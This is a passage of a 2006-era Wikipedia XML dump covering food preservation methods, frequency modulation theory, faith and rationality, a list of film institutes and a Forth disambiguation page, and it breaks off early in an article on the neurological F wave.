| Cooking in high sucrose concentration creating too high osmotic pressure for most microbial survival.
|-
| [[Ethanol]] preservation
| Steeping or cooking in [[Ethanol]] produces toxic inhibition of microbes. Can be combined with [[sugar]] preservation
|-
| [[Emulsion|Emulsification]]
| Compartmentalisation and [[nutrient limitation]] within the [[aqueous]] droplets in water-in-oil emulsion foods
|-
| Addition of [[preservative]]s such as [[nitrite]] or [[sulphite]] ions
| [[Inhibitor|Inhibition]] of specific groups of micro-organisms
|-
| [[Pasteurization]] and [[appertization]] 
| Delivery of [[heat]] sufficient to inactivate target micro-organisms to the desired extent 
|-
| [[Food irradiation]] ([[Radurization]], [[radicidation]] and [[radappertization]]) 
| Delivery of [[ionising radiation]]
|-
| Application of high hydrostatic pressure (Pascalization) 
| Pressure-inactivation of vegetative bacteria, yeasts and moulds
|}

Preservation usually involves preventing the growth of [[bacterium|bacteria]], [[fungus|fungi]] and other [[microorganism|micro-organisms]], as well as retarding the [[redox|oxidation]] of [[fat]]s which cause [[Rancidification|rancidity]]. It also includes processes to inhibit natural aging and discolouration that can occur during food preparation such as the [[polyphenoloxidase]] reaction  in [[apple]]s  which causes browning when apples are cut. Some preservation methods require the food to be sealed after treatment to prevent re-contamination with microbes; others, such as drying, allow food to be stored without any special containment for long periods.

Preservation processes include:
* Heating to kill or denature organisms (e.g. boiling)
* Oxidation (e.g use of sulphur dioxide) 
* Toxic inhibition (e.g. smoking, use of carbon dioxide, vinegar, alcohol etc)
* Dehydration (drying)
* Osmotic inhibition ( e.g use of syrups)
* Low temperature inactivation (e.g. freezing)
* Many combinations of these methods

==Methods==
Common methods of applying these processes include [[drying (food)|drying]], [[freeze drying]], [[freezing]], [[vacuum-packing]], [[canning]], preserving in syrup, sugar crystalisation, [[food irradiation]], adding [[preservative]]s or inert [[gas]]es such as [[carbon dioxide]]. 

Other methods that not only help to preserve food, but also add flavor, include [[pickling]], [[salting (food)|salting]], [[smoking (food)|smoking]] , preserving in [[syrup]] or [[ethanol|alcohol ]], [[sugar]] crystalisation and [[curing]].

===Drying===
{{seealso|Drying (food)}}
One of the oldest methods of food preservation is by [[drying (food)|drying]], which reduces [[water activity]] sufficient to delay or prevent [[bacterium|bacteria]]l growth. 
Most types of  meat can be dried and this is especially valuable in the case of pig meat since this is difficult to keep without preservation. Many fruits can also be dried and the process is often applied to [[apple]]s, [[pear]]s, [[banana]]s, [[mango]]s, [[papaya]], [[coconut]] etc. [[Zante currant|Currant]]s, [[sultana]]s and [[raisin]]s are all forms of dried [[Grape]]s.  Drying is also the normal means of preservation for cereal grains such as [[wheat]], [[maize]], [[oat]]s, [[barley]], [[rice]], [[millet]] and [[rye]].

===Freezing===
{{seealso|Frozen food}}
Probably as old as drying, many Arctic communities would preserve food in holes or [[larder]]s dug into the ice. There is a tradition in [[Scandinavia]] of preserving [[fish]] and especially [[herring]]s in this way. 

Freezing is also one of the most commonly used processes commercially and domestically for preserving a very wide range of food stuffs including prepared footstuffs which would not have required freezing in their unprepared state.  For example, potato waffles are stored in the freezer, but potatoes themselves require only a cool dark place to ensure many months' storage.

Cold stores provide large volume, long-term storage for strategic food stocks held in case of national emergency in many countries.

===Vacuum Packing===
[[Vacuum-packing]] stores food in a [[vacuum]] environment, usually in an air-tight bag or bottle. The [[vacuum]] environment strips [[bacteria]] of oxygen needed for survival, hence preventing the food from spoiling. Vacuum-packing is commonly used for storing [[nut (fruit)|nuts]].

===Curing===
[[Curing]] draws moisture from the meat through a process of [[osmosis]]. [[Meat]] is [[curing|cured]] with [[edible salt|salt]] or [[sugar]], or a combination of the two. [[Nitrate]]s and [[nitrite]]s are also often used to cure meat.

===Sugar===
[[Sugar]] is used to preserve fruits, either in syrup with fruit such as [[apple]]s, [[pear]]s, [[peach]]es, [[apricot]]s, [[plum]]s or in crystalised form where the preserved material is cooked in sugar to the point of crystralisation and the resultant product is then stored dry. This method is used for the skins of [[citrus]] fruit (candied peel), [[angelica]] and [[ginger]]. A modification of this process produces glacé fruit such as glacé [[cherry|cherries]] where the fruit is preserved in sugar but is then extracted from the syrup and sold, the preservation being maintained by the sugar content of the fruit and the superficial coating of syrup. 
The use of sugar is often combined with [[ethanol|alcohol]] for preservation of luxury products such as fruit in [[brandy]] or other spirits. These should not be confused with fruit flavoured spirits such as [[Cherry Brandy]] or [[Sloe gin]]

===Pickling===
[[Pickling]] is a method of preserving food by placing it or cooking it in a substance that inhibits or kills bacteria and other micro-organisms, This material must also be fit for human consumption. Typical pickling agents include [[brine]] (high in [[edible salt|salt]]), [[vinegar]], [[ethanol]], and [[vegetable oil]], especially [[olive oil]] but also many other oils. Most pickling processes also involve heating or boiling so that the food being preserved becomes saturated with the pickling agent.

Frequently pickled items include [[vegetables]] such as [[cabbage]] (to make [[sauerkraut]] and [[curtido]]), [[capsicum|pepper]]s, and some animal products such as [[corned beef]] and [[egg (food)|eggs]].

A less-common form of pickling uses [[sodium hydroxide]] ([[lye]]) to make the food too [[alkaline]] for bacterial growth. Lye will [[saponification|saponify]] fats in the food, which will change its flavor and texture. [[Lutefisk]] and [[hominy]] use lye in their preparation, as do some olive recipes.

===Canning and Bottling===
[[Image:PreservedFood1.jpg|thumb|right|225px|Preserved food]]
[[Canning]] involves cooking [[fruit]]s or [[vegetable]]s, sealing them in sterile cans or jars, and [[boiling]] the containers to kill or weaken any remaining bacteria. Various foods have varying degrees of natural protection against spoilage and may require that the final step occur in a [[pressure cooker]]. High-acid fruits like [[strawberry|strawberries]] require no preservatives to can and only a short boiling cycle, whereas marginal fruits such as [[tomato]]es require longer boiling and addition of other acidic elements. Many vegetables require pressure canning. Food preserved by canning or bottling is at immediate risk of spoilage once the can or bottle has been opened.

===Jellying===
Food may be preserved by cooking in a material that solidifies to form a gel. Such materials include [[gelatine]], [[agar]], [[maize]] flour and [[arrowroot]] flour. Some foods naturally form a [[protein]] gel when cooked such as [[Eel|eels and elvers]], and [[Sipuncula|sipunculid]] worms which are a delicacy in the town of [[Xiamen]] in Fujian province of [[China]]. [[Jellied eels]] are a delicacy in the East End of [[London]] where they are eaten with mashed [[potato]]es.
Potted meats in [[aspic]], (the gel made from arrowroot flour) were a common way of serving meat off-cuts in the UK until the [[1950]]s

===Irradiation===
A [[1950s]] issue of [[Popular Mechanics]] details the impending arrival of &quot;[[food irradiation]]&quot;. But the implications of irradiation are not fully understood, and the use of the technology is limited. Irradiation of [[potato]]es, strawberries, and meat is common in many countries where refrigerated facilities and trucks are not.  In [[2002]], the [[FDA]] permitted irradiation of meat and poultry to reduce the spread of [[E. coli]] and [[salmonella]]. 

In the US and most of Europe, irradiation of spices is common, as the only alternative (treatment with gas) is potentially carcinogenic. The process is called &quot;cold pasteurization&quot; because it is feared that the label &quot;irradiation&quot; would hurt sales. Foods may also carry labels saying &quot;Picowaved For Your Protection&quot; as food processors may not want to openly label their foods as being irradiated.

===Modified atmosphere===
[[Modified atmosphere]] is a way to preserve food operating on the atmosphere around it. Salad crops which are notoriously difficult to preserve are now being packaged in sealed bags with an atmosphere modified to reduce the [[oxygen]] concentration and increase the [[carbon dioxide]] concentration. There is concern that although salad vegetables retain their appearance and texture in such conditions, this method of preservation may not retain nutrient content, especially [[vitamin]]s.

Grains may be preserved using [[carbon dioxide]]. A block of [[dry ice]] is placed in the bottom and the can is filled with grain.  The can is then &quot;burped&quot; of excess gas. The [[carbon dioxide]] from the sublimation of the dry ice prevents insects, [[mold]], and [[oxidation]] from damaging the grain. Grain stored in this way can survive five years in a moist garage.

===Clamps===
Many root vegetables are very resistant to spoilage and require no other preservation other than storage in cool dark conditions, usually in field [[Storage clamp|clamp]]s.

===Biological processes===
Some foods, such as many traditional [[cheese]]s, will keep for a long time without use of any special procedures. The preservation occurs because of the presence in very high numbers of beneficial bacteria or fungi which use their own biological defences to prevent other organisms gaining a foot-hold.

==See also==
* [[Canning]]
* [[Chutney]]
* [[Food processing]]
* [[Jam]]
* [[Marmalade]]
* [[Pickle]]

==External links==
{{Commons|Category:Food preservation}}
* [http://www.uga.edu/nchfp National Center for Home Food Preservation]
* [[BBC News Online]] - [http://news.bbc.co.uk/1/hi/world/americas/3915659.stm US army food... just add urine]
* [http://www.rense.com/general10/topten.htm Ten Top Reasons For Opposing Food Irradiation]

[[Category:Food preservation|*]]

[[da:Konservering (madvarer)]]
[[de:Konservierung]]
[[es:Conserva]]
[[fr:Conservation des aliments]]
[[he:שימור מזון]]
[[nl:Conserveren]]
[[ja:保存食]]
[[pl:Konserwacja żywności]]
[[sv:Konservering]]
[[zh:食物保鲜法]]</text>
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  </page>
  <page>
    <title>Frequency modulation</title>
    <id>10835</id>
    <revision>
      <id>40959231</id>
      <timestamp>2006-02-24T03:10:06Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: eu</comment>
      <text xml:space="preserve">{{redirect|FM}}

'''Frequency modulation''' ('''FM''') is a form of [[modulation]] which represents [[information]] as variations in the instantaneous [[frequency]] of a [[carrier wave]].  (Contrast this with [[amplitude modulation]], in which the [[amplitude]] of the carrier is varied while its frequency remains constant.)

In [[analog signal|analog]] applications, the carrier frequency is varied in direct proportion to changes in the [[amplitude]] of an input signal.  [[Digital]] [[data]] can be represented by shifting the carrier frequency among a set of discrete values, a technique known as [[frequency-shift keying]].

FM is commonly used at [[VHF]] [[radio frequency|radio frequencies]] for [[high-fidelity]] [[radio broadcasting|broadcasts]] of [[music]] and [[speech]] (see [[FM broadcasting]]).  Normal (analog) TV sound is also broadcast using FM. A [[narrowband]] form is used for [[human voice|voice]] communications in commercial and [[amateur radio]] settings. The type of FM used in broadcast is generally called wide-FM, or W-FM. In two-way radio, narrowband narrow-fm (N-FM) is used to conserve bandwidth. In addition, it is used to send signals into space.

FM is also used at intermediate frequencies by most analog [[Video cassette recorder|VCR]] systems, including [[VHS]], to record the [[Luminance (video)|luminance]] (black and white) portion of the video signal. FM is the only feasible method of recording to and retrieving from magnetic tape without extreme distortion, as video signals have a very large range of frequency components &amp;mdash; from a few [[hertz]] to several [[megahertz]], too wide for [[equaliser]]s to work with due to electronic noise below -60 [[decibel|dB]]. FM also keeps the tape at saturation level, and therefore acts as a form of [[noise reduction]], and a simple [[audio level compression|limiter]] can mask variations in the playback output, and the FM capture effect removes [[print-through]] and [[pre-echo]], a continuous pilot-tone, if added to the signal &amp;mdash; as was done on [[V2000]] and many Hi-band formats can keep mechanical jitter under-control and assist [[timebase correction]].

FM is also used at [[audio frequency|audio frequencies]] to synthesize sound.  This technique, known as [[frequency modulation synthesis|FM synthesis]], was popularized by early digital [[synthesizers]] and became a standard feature for several generations of [[personal computer]] [[sound card]]s.

==Applications in radio==
[[Image:frequency-modulation.png|right|frame|An example of frequency modulation.  The top diagram shows the modulating signal superimposed on the carrier wave.  The bottom diagram shows the resulting frequency-modulated signal.]]
[[Edwin Armstrong]] presented his paper: [https://michael.industrynumbers.com/fm.pdf &quot;A Method of Reducing Disturbances in Radio Signaling by a System of Frequency Modulation&quot;], which first described FM radio, before the [[New York]] section of the [[Institute of Radio Engineers]] on [[November 6]], [[1935]].

Wideband FM (W-FM) requires a wider [[bandwidth]] than [[amplitude modulation]] by an equivalent modulating signal, but this also makes the signal more robust against [[Noise (radio)|noise]] and [[interference]]. Frequency modulation is also more robust against simple signal amplitude fading phenomena.  As a result, FM was chosen as the modulation [[standardization|standard]] for high frequency, [[high fidelity]] [[radio]] transmission: hence the term &quot;[[FM radio]]&quot; (although for many years the [[BBC]] insisted on calling it &quot;VHF radio&quot;, which is quite logical, since commercial FM broadcasting uses a well-known part of the [[VHF]] band; in certain countries, expressions referencing the more familiar wavelength notion are still used in place of the somewhat mysterious modulation technique name). 

FM [[receiver (radio)|receivers]] inherently exhibit a [[phenomenon]] called '''capture''', where the [[Tuner (radio)|tuner]] is able to clearly receive the stronger of two stations being broadcast on the same frequency.  Problematically, however, frequency [[drift (telecommunication)|drift]] or lack of [[selectivity]] may cause one station or signal to be suddenly overtaken by another on an [[adjacent channel]].  Frequency drift typically constituted a problem on very old or inexpensive receivers, while inadequate [[selectivity]] may plague any tuner.

An FM signal can also be used to carry a [[stereophonic sound|stereo]] signal: see [[FM stereo]]. However, this is done by using [[multiplexing]] and demultiplexing before and after the FM process, and is not part of FM proper. The rest of this article ignores the stereo multiplexing and demultiplexing process used in &quot;stereo FM&quot;, and concentrates on the FM modulation and demodulation process, which is identical in stereo and mono processes.

== Theory ==
&lt;!-- The \, (small space) in the math elements force png instead of html,
and are there deliberately to improve readability. --&gt;

If the signal to be transmitted is 

:&lt;math&gt;x_m(t)\,&lt;/math&gt; 

which is restricted in amplitude to be

:&lt;math&gt; \left| x_m(t) \right| \le 1 \,&lt;/math&gt; 

and the [[sinusoid]]al carrier is

:&lt;math&gt;x_c(t) = A \cos (2 \pi f_c t)\,&lt;/math&gt;

where ''f&lt;sub&gt;c&lt;/sub&gt;'' is the carrier's base frequency in [[hertz]] and A is an arbitrary amplitude, the carrier will be modulated by the signal as in

:&lt;math&gt;x_c(t) = A \cos \left( 2 \pi \int_{0}^{t} f(\tau)\, d \tau \right) = A \cos \left( 2 \pi \int_{0}^{t} \left[ f_c + f_\Delta x_m(\tau) \right] \, d \tau \right) &lt;/math&gt;

:where, &lt;math&gt;f(t) = f_c + f_\Delta x_m(t) &lt;/math&gt;

In this equation, ''f(t)'' is the ''[[instantaneous frequency]]'' of the oscillator and ''f&lt;sub&gt;&amp;Delta;&lt;/sub&gt;'' is the ''[[frequency deviation]]'', which represents the maximum shift away from ''f&lt;sub&gt;c&lt;/sub&gt;'' in one direction, assuming ''x&lt;sub&gt;m&lt;/sub&gt;(t)'' is limited to the range &amp;plusmn;1.

Although it may seem that this limits the frequencies in use to ''f&lt;sub&gt;c&lt;/sub&gt;'' &amp;plusmn; ''f&lt;sub&gt;&amp;Delta;&lt;/sub&gt;'', this neglects the distinction between ''instantaneous frequency'' and ''spectral frequency''.  The [[frequency spectrum]] of an actual FM signal has components extending out to infinite frequency, although they become negligibly small beyond a point.

For a simplified case, the [[harmonic]] distribution of a [[sine wave]] signal modulated by another sine wave signal can be represented with [[Bessel function]]s - this provides a basis for a mathematical understanding of frequency modulation in the frequency domain.

A [[rule of thumb]], ''[[Carson_bandwidth_rule|Carson's rule]]'' states that nearly all the power of a frequency modulated signal lies within a [[bandwidth]] of 

:&lt;math&gt;2(f_\Delta +f_m)\,&lt;/math&gt;

where ''f&lt;sub&gt;&amp;Delta;&lt;/sub&gt;'' is the peak deviation of the instantaneous frequency ''f(t)'' from the center carrier frequency ''f&lt;sub&gt;c&lt;/sub&gt;'' (assuming ''x&lt;sub&gt;m&lt;/sub&gt;(t)'' is in the range &amp;plusmn;1) and ''f&lt;sub&gt;m&lt;/sub&gt;'' is the highest modulating frequency of ''x&lt;sub&gt;m&lt;/sub&gt;(t)''.

Note that frequency modulation can be regarded as a special case of [[phase modulation]] where the carrier phase modulation is the time integral of the FM modulating signal.

''[[Frequency-shift keying]]'' refers to the simple case of frequency modulation by a simple signal with only discrete states, such as in [[Morse code]] or [[radioteletype|radio-teletype]] applications. 

''[[Manchester encoding]]'' may be regarded as a simple version of frequency shift keying, where the high and low frequencies are respectively double and the same as the bit rate, and the bit transitions are synchronous with carrier transitions.

When used in supervisory signaling in telephony, the term [[frequency-change signaling]] has been used to describe frequency modulation.

The phrase ''frequency-modulated'', an [[adjective]], should have a hyphen when used [[attributive|attributively]].

==Modulation index==
As with other [[modulation index|modulation indices]], in FM this quantity indicates by how much the modulated variable varies around its unmodulated level. For FM, it relates to the variations in the frequency of the carrier signal:

:&lt;math&gt;h = \frac{\Delta{}f}{f_m} = \frac{f_\Delta |x_m(t)|}{f_m} \ &lt;/math&gt;

With a tone-modulated FM wave, if the modulation frequency is held constant and the modulation index is increased, the (non-negligible) bandwidth of the FM signal increases, but the spacing between spectra stays the same.

If the frequency deviation is held constant and the modulation index increased, the bandwidth stays roughly the same, but the spacing between spectra decreases.

== See also ==
* [[Frequency modulation synthesis]] (FM as an audio synthesis method)
* [[Modulation index]]
* [[Modulation]], for a list of other modulation techniques
* [[History of radio]]

== External links ==
* http://www.rfcafe.com/references/electrical/frequency_modulation.htm  
* http://www.fas.org/man/dod-101/navy/docs/es310/FM.htm

[[Category:Radio modulation modes]]

[[ca:Freqüència modulada]]
[[de:Frequenzmodulation]]
[[es:Frecuencia Modulada]]
[[eu:FM]]
[[fr:Modulation de fréquence]]
[[ko:주파수 변조]]
[[nl:Frequentiemodulatie]]
[[ja:周波数変調]]
[[no:Frekvensmodulasjon]]
[[pl:Modulacja częstotliwości]]
[[pt:Modulação em frequência]]
[[fi:FM]]
[[sv:Frekvensmodulering]]</text>
    </revision>
  </page>
  <page>
    <title>Faith and rationality</title>
    <id>10837</id>
    <revision>
      <id>34594337</id>
      <timestamp>2006-01-10T07:52:48Z</timestamp>
      <contributor>
        <username>Carrionluggage</username>
        <id>247628</id>
      </contributor>
      <comment>modifier &quot;only&quot; in wrong place (&quot;only rejects&quot; means does not do worse than reject). See discussion page</comment>
      <text xml:space="preserve">'''Faith and rationality''' are two modes of [[belief]] which are seen to exist in varying degrees of conflict or compatibility.  [[Faith]] is generally defined either as belief not grounded in evidence and reason or as belief in what cannot be understood, while [[rationality]] is belief grounded in [[logic]] and/or evidence.

Broadly speaking, there are three categories of view regarding the relationship between faith and rationality. [[Rationalism]] holds that [[truth]] should be determined by [[reason]] and factual analysis, rather than faith, [[dogma]] or religious teaching. [[Fideism]] holds that faith is necessary, and that beliefs must be held without evidence or reason, or even in conflict with evidence and reason.  [[Natural theology]] holds that faith and rationality are compatible, so that the evidence and reason ultimately lead to belief in the objects of faith.

==Relationship between faith and rationality==
Rationalism makes no statement either way regarding the [[existence of God]] or the validity or value of [[religion]], but it rejects any belief based on faith alone. Faith, on the contrary, does not rest on logical proof or evidence. To be semantically precise, definitions of faith and rationalism are in logical opposition. 

Beliefs held &quot;by faith&quot; may be seen existing in a number of relationships to rationality:
* '''Faith as underlying rationality''': In this view, all human knowledge and reason is seen as dependent on faith: faith in our senses, faith in our reason, faith in our memories, and faith in the accounts of events we receive from others. Accordingly, faith is seen as essential to and inseparable from rationality. This justification applies largely to the historical philosophy of [[continental rationalism]], and less so to modern application of rationalism.
* '''Faith as addressing issues beyond the scope of rationality''': In this view, faith is seen as covering issues which science and rationality are inherently incapable of addressing, but which are nevertheless entirely real.  Accordingly, faith is seen as complementing rationality, by providing answers to questions that would otherwise be unanswerable.
* '''Faith as contradicting rationality''': In this view, faith is seen as those views that one holds despite evidence and reason to the contrary. Accordingly, faith is seen as pernicious with respect to rationality, as it prevents the very ability to think.

===The apologist point of view: Reformed epistemology===

====Faith as underlying rationality====
The view that faith underlies all rationality holds that rationality is dependant on faith for its coherence. Under this view, there is no way to comprehensively ''prove'' that we are actually seeing what we appear to be seeing, that what we remember actually happened, or that the laws of logic and mathematics are actually real. Instead, all beliefs depend for their coherence on ''faith'' in our senses, memory, and reason, because the foundations of rationalism cannot be proven by evidence or reason. 

The characterization of rationalism described here is [[continental rationalism]], not modern rationalism. [[René Descartes]], for example, argued along these lines in [[Meditations on First Philosophy]], in which he argued that all human perceptions could be an illusion manufactured by an evil demon. Illustrations of this view are also common in popular culture, with movies such as [[The Matrix]] illustrating and challenging faith in the senses, and movies such as [[Total Recall]] illustrating and challenging faith in memories.  Similarly, [[Theravaada Buddhism]] holds that all perceived reality is simply illusion. Thus, it is argued, there is no way to prove beyond doubt that what we perceive is real, so that all our beliefs depend on ''faith'' in our senses and memories. 

[[Reformed epistemology]] asserts that certain beliefs cannot be proven by reason but must be accepted by faith, and Christian philosophers and apologists such as [[Alvin Plantinga]] have proposed that beliefs of this type are &quot;[[properly basic]]&quot; -- that is, that they are reasonably and even necessarily held without evidentiary support.  Instead, these beliefs are held because one is &quot;naturally inclined&quot; to believe them.  For example, one cannot ''prove'' in any real sense that one has a headache -- one simply senses it, and ''knows'' it to be true. Although a headache can be replicated in some circumstances, under other circumstances the causes are not known, and the headache can neither be caused nor terminated -- yet the experience of the headache is real and undeniable -- something that one simply &quot;knows.&quot; Plantinga goes on to argue that belief in God is properly basic in the same way -- that belief in God need not come through evidence and [[Logical argument|argument]] but may be a &quot;properly basic&quot; belief grounded in natural and intuitive experience. 

[[Solipsism]] applies reasoning similar to the above to arrive at the conclusion that only the self exists, and all reality is simply a function of one's mind, on the basis that only one's existence can be proven. This view which was first recorded with the presocratic sophist [[Gorgias]]. Plantinga asserts that his argument does not incorporate solipsisms in that while it acknowledges that many things cannot be proven by evidence and reason, it also affirms that things exist outside the mind. Thus, it concludes that faith allows us to &quot;know&quot; things that cannot be strictly proven.

It should be noted that the sense of &quot;rationalism&quot; being refered to here is [[continental rationalism]]. Modern rationalism has little in common with the historical philosophy of [[continental rationalism]] expounded by René Descartes and others which rely on solipsitic reasoning. Indeed, a reliance on [[empirical science]] is often considered a hallmark of modern rationalism, whereas Continental Rationalism rejected [[empiricism]] entirely.

====Faith as addressing issues beyond the scope of rationality====
The position that faith addresses issues beyond the scope of rationality holds that faith supplements rationality, because the scope of rational human knowledge is limited.  

This view was articulated in the [[Bible]] as follows: 

:&quot;''Now faith is the substance of things hoped for, the evidence of things not seen.''&quot;  Hebrews 11:1.

:&quot;''For now we see through a glass, darkly; but then face to face: now I know in part; but then shall I know even as also I am known.''&quot; 1st Corithians 13:12

In essence, under this view, faith corresponds to beliefs which, although quite possibly true, cannot yet be fully grasped by our reason.

Some have argued that strict rationalism to the exclusion of this type of faith erroneously concludes that because rational thought is successful at explaining some things, knowledge that comes from beyond the realm of rational thought is illegitimate. According to this line of reasoning,

:&quot;Our science-dominated culture has ruled out religious experience as a clue to reality; but on what grounds? Science in the 1600’s was so successful in understanding the physical dimension of reality that people in the 1700’s began to think that the physical may be the only dimension of reality. But success in one area of inquiry does not invalidate other areas. The burden of proof is on those who would exclude a particular kind of experience from being a source of knowledge.&quot;  [http://www.leaderu.com/aip/docs/monsma.html]

Under this view, faith is not static belief divorced from reason and experience, and is not illegitimate as a source of knowledge. On the contrary, belief by faith starts with the things known by reason, and extends to things which are true, although they cannot be understood, and is therefore legitimate insofar as it answers questions that rational thought is incapable of addressing. As such, beliefs held by this form of faith are seen dynamic and changing as one grows in experience and knowledge; until one's &quot;faith&quot; becomes &quot;sight.&quot; This sort of [[inductive reasoning]] is commonly found in [[mysticism]].

===The rationalist point of view===

====Faith as contradicting rationality====
The position that faith contradicts rationality holds that beliefs held by faith alone are held without justification. Those who hold this position believe that any belief held without a rational justification is arbitrary. In their view applying faith consistently undermines the ability to think. When [[truth]] is determined by faith, [[dogma]], &quot;intuitive experience&quot; or &quot;sight&quot; rather than [[reason]] and factual analysis, there is no objective criteria for determining a statement as true. [[Wishful thinking]] and other [[Cognitive_bias|cognitive biases]] will result in arbitrary ideas, true or false, being accepted, in turn resulting in contradictions. The resultant contradictions prevent higher level abstractions from being made and rationalizations for beliefs held thus becoming increasingly abstruse and attenuated. An example would be the claim that faith  accesses things beyond the ability of reason which are &quot;true,&quot; though they cannot provide proof for the claim &amp;mdash; hence, a [[tautology]]. Those who believe that faith contradicts rationality argue that to the degree which ideas are taken on faith, the process of thinking is subverted.

==Various justifications and criticisms==
The justifications for faith as rational are based on semantic and epistemological strategies:

1. Less semantically precise definitions of rationalism that allow for faith to be accommodated as rational: 
:1.a Broadening of the definition of faith to include faith as a belief that rests on logical proof or material evidence.
:1.b Weakening of the definitions of proof, evidence, logic, rational, etc., to allow for a lower standard of proof.
2. Attacking the [[epistemology|epistemological]] underpinnings of rationality by asserting that certain beliefs not supported by reason or evidence are still [[properly basic]] because they are intuitive or that we are &quot;naturally inclined&quot; to believe them.

The semantic strategy (number 1) is common to those who hold that faith addresses issues beyond the scope of rationality, whereas the epistemological strategy (number 2) is employed by those who hold that faith underlies rationality.

Critics of faith as rational assert that the semantical arguments constitute a [[special pleading]], a [[logical fallacy]]. A common refutation of the epistemological attack on the basis of rationality is that if when fully applied it makes it possible to regard any arbitrary belief as rational; one could argue belief in the [[Invisible Pink Unicorn]] to be [[properly basic]] using the same reasoning. Advocates of [[Reformed epistemology]] assert that they have a criterion of proper basicality; one arrived at inductively. They distinguish between the beliefs and the conditions under which one is believing and correlate the beliefs and the conditions into recognizable groups of those which are properly basic and those which are not properly basic. They argue that as beings we are &quot;naturally inclined&quot; toward belief in God and that because of this condition faith is properly basic and rational, but belief in the Invisible Pink Unicorn or other logical absurdities lack such a condition, are not properly basic and hence not rational. Critics respond to this line of reasoning with though we may indeed be &quot;naturally inclined&quot; toward faith (belief), it does not follow that faith is properly basic and hence rational. 

Other people of faith have adopted the position that faith is implicitly irrational and have embraced the putative irrationality of faith as a demonstration of devotion to one's beliefs and deity.  For example, [[Fideism]] specifically recommends that one not be rational.

==See also==

*[[William Alston]]
*[[Alvin Plantinga]]
*[[Epistemology]]
*[[Reformed epistemology]]
*[[Theory of justification]]
*[[Methods of obtaining knowledge]]

==External links==

===Apologetics and philosophical justifications of faith as rational===
*[http://www.faithquest.com/modules.php?name=Sections&amp;op=listarticles&amp;secid=15 Faithquest.com] published works of William Alston 
*[http://www.faithandphilosophy.com Faithandphilosophy.com] founded by [[William Alston]], [[Alvin Plantinga]], [[Nicholas Wolterstorff]], and Richard Mouw
*[http://www.siu.edu/~scp/ Society of Christian Philosophers] founded again by [[William Alston]], [[Alvin Plantinga]], [[Nicholas Wolterstorff]], and Richard Mouw
*[http://www.credenda.org/issues/8-4disputatio.php Faith, Reason, and Rationality] a debate between Douglas Jones and Michael Shermer from Credenda Agenda, a publication of the Presbyterian Church 
*[http://www.philosophyofreligion.info/faithandreason.html Faith and reason] the philosophy of religion website

===Neutral critiques and analysis===
*[http://www.leaderu.com/offices/koons/docs/chrphlec17.html Lecture on The Rationality of Religious Belief] Contemporary Christian Philosophy, University of Texas 
*[http://pantheon.yale.edu/~kd47/basic.htm Are Christian Beliefs Properly Basic?] A critical examination of Alvin Plantinga's claim that Christian beliefs can be justified even without any evidence for them  by Keith DeRose, Professor of Philosophy, Yale University

===Criticisms of faith as rational===
*[http://importanceofphilosophy.com/Irrational_Faith.html Irrational Faith] importanceofphilosophy.com
*[http://importanceofphilosophy.com/Irrational_Main.html Irrational Epistemology] importanceofphilosophy.com

===Historical overview of the relationship between faith and reason===
*[http://www.iep.utm.edu/f/faith-re.htm Faith and Reason] Internet Encyclopedia of Philosophy

[[Category:Epistemology]]
[[Category:Religious philosophy and doctrine]]</text>
    </revision>
  </page>
  <page>
    <title>List of film institutes</title>
    <id>10839</id>
    <revision>
      <id>15908630</id>
      <timestamp>2005-06-12T19:57:54Z</timestamp>
      <contributor>
        <username>Adam78</username>
        <id>36204</id>
      </contributor>
      <minor />
      <comment>+ category</comment>
      <text xml:space="preserve">Some notable institutions celebrating [[film]], including both national film institutes and independent and non-profit organizations.

* The [[American Film Institute]]
* The [[American Indian Film Institute]] is online [http://www.aifisf.com/  here]
* The [[Australian Film Institute]]
* The [[British Academy of Film and Television Arts]] is online [http://www.bafta.org/ here]
* The [[British Film Institute]]  is online [http://www.bfi.org.uk/  here]
* The [[Canadian Film Institute]] is online [http://www.cfi-icf.ca/  here]
* The [[Documentary Center]]
* The [[Danish Film Institute]] is online [http://www.dfi.dk/  here]
* The [[Film and Television Institute of India]], Pune is online [http://www.ftiindia.com here]
* The [[Film Institute of Ireland]] is online [http://www.fii.ie/ here]
* The [[Hong Kong Film Institute]] is online [http://www.hkfilm.com/ here]
* The [[Italian Film Institute]] is online [http://www.italianfilminstitute.org/  here]
* The [[Mexican Film Institute]] is online [http://www.imcine.gob.mx/  here]
* The [[Norwegian Film Institute]] is online [http://www.nfi.no/nfi/nfi.html  here]
* The [[Sundance Institute]] is online [http://www.sundance.org/  here]
* The [[Swedish Film Institute]] is online [http://www.sfi.se/  here]
* The [[Asian academy Of Film &amp; television]] is online [http://www.aaft.com  here]

[[Category:Film organizations| ]]</text>
    </revision>
  </page>
  <page>
    <title>FORTH</title>
    <id>10840</id>
    <revision>
      <id>30975051</id>
      <timestamp>2005-12-11T22:31:53Z</timestamp>
      <contributor>
        <username>Alx bio</username>
        <id>352627</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Forth]]</text>
    </revision>
  </page>
  <page>
    <title>Forth</title>
    <id>10841</id>
    <revision>
      <id>39443705</id>
      <timestamp>2006-02-13T04:08:41Z</timestamp>
      <contributor>
        <username>Benhoyt</username>
        <id>423417</id>
      </contributor>
      <minor />
      <comment>Made more in line with Wikipedia style, put Forth lang at top (largest topic)</comment>
      <text xml:space="preserve">'''Forth''' may refer to:

* [[Forth programming language]], a stack-oriented computer programming language
* [[Radio Forth]], a set of radio stations based in Edinburgh
* [[River Forth]], a major river in Scotland
* [[Forth, Lanarkshire]], a town in South Lanarkshire, Scotland
* [[Forth, Tasmania]], a town in Tasmania, Australia

'''FORTH''' may stand for:

* [[Foundation for Research &amp;amp; Technology - Hellas]], a research center in Greece

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>F wave</title>
    <id>10842</id>
    <revision>
      <id>41834789</id>
      <timestamp>2006-03-02T01:22:18Z</timestamp>
      <contributor>
        <username>Chirality</username>
        <id>1014638</id>
      </contributor>
      <minor />
      <comment>/* References */ Category:Neurophysiology</comment>
      <text xml:space="preserve">In [[neuroscience]], an '''F wave''' is the second of two [[voltage]] changes observed after electrical stimulation is applied to the skin surface above the [[distal]] region of a [[nerve]]. F waves are often used to measure [[nerve conduction velocity]], and are particularly useful for evaluating conduction problems in the [[proximal]] region of nerves (i.e., portions of nerves near the [[spinal cord]]).

== Overview ==

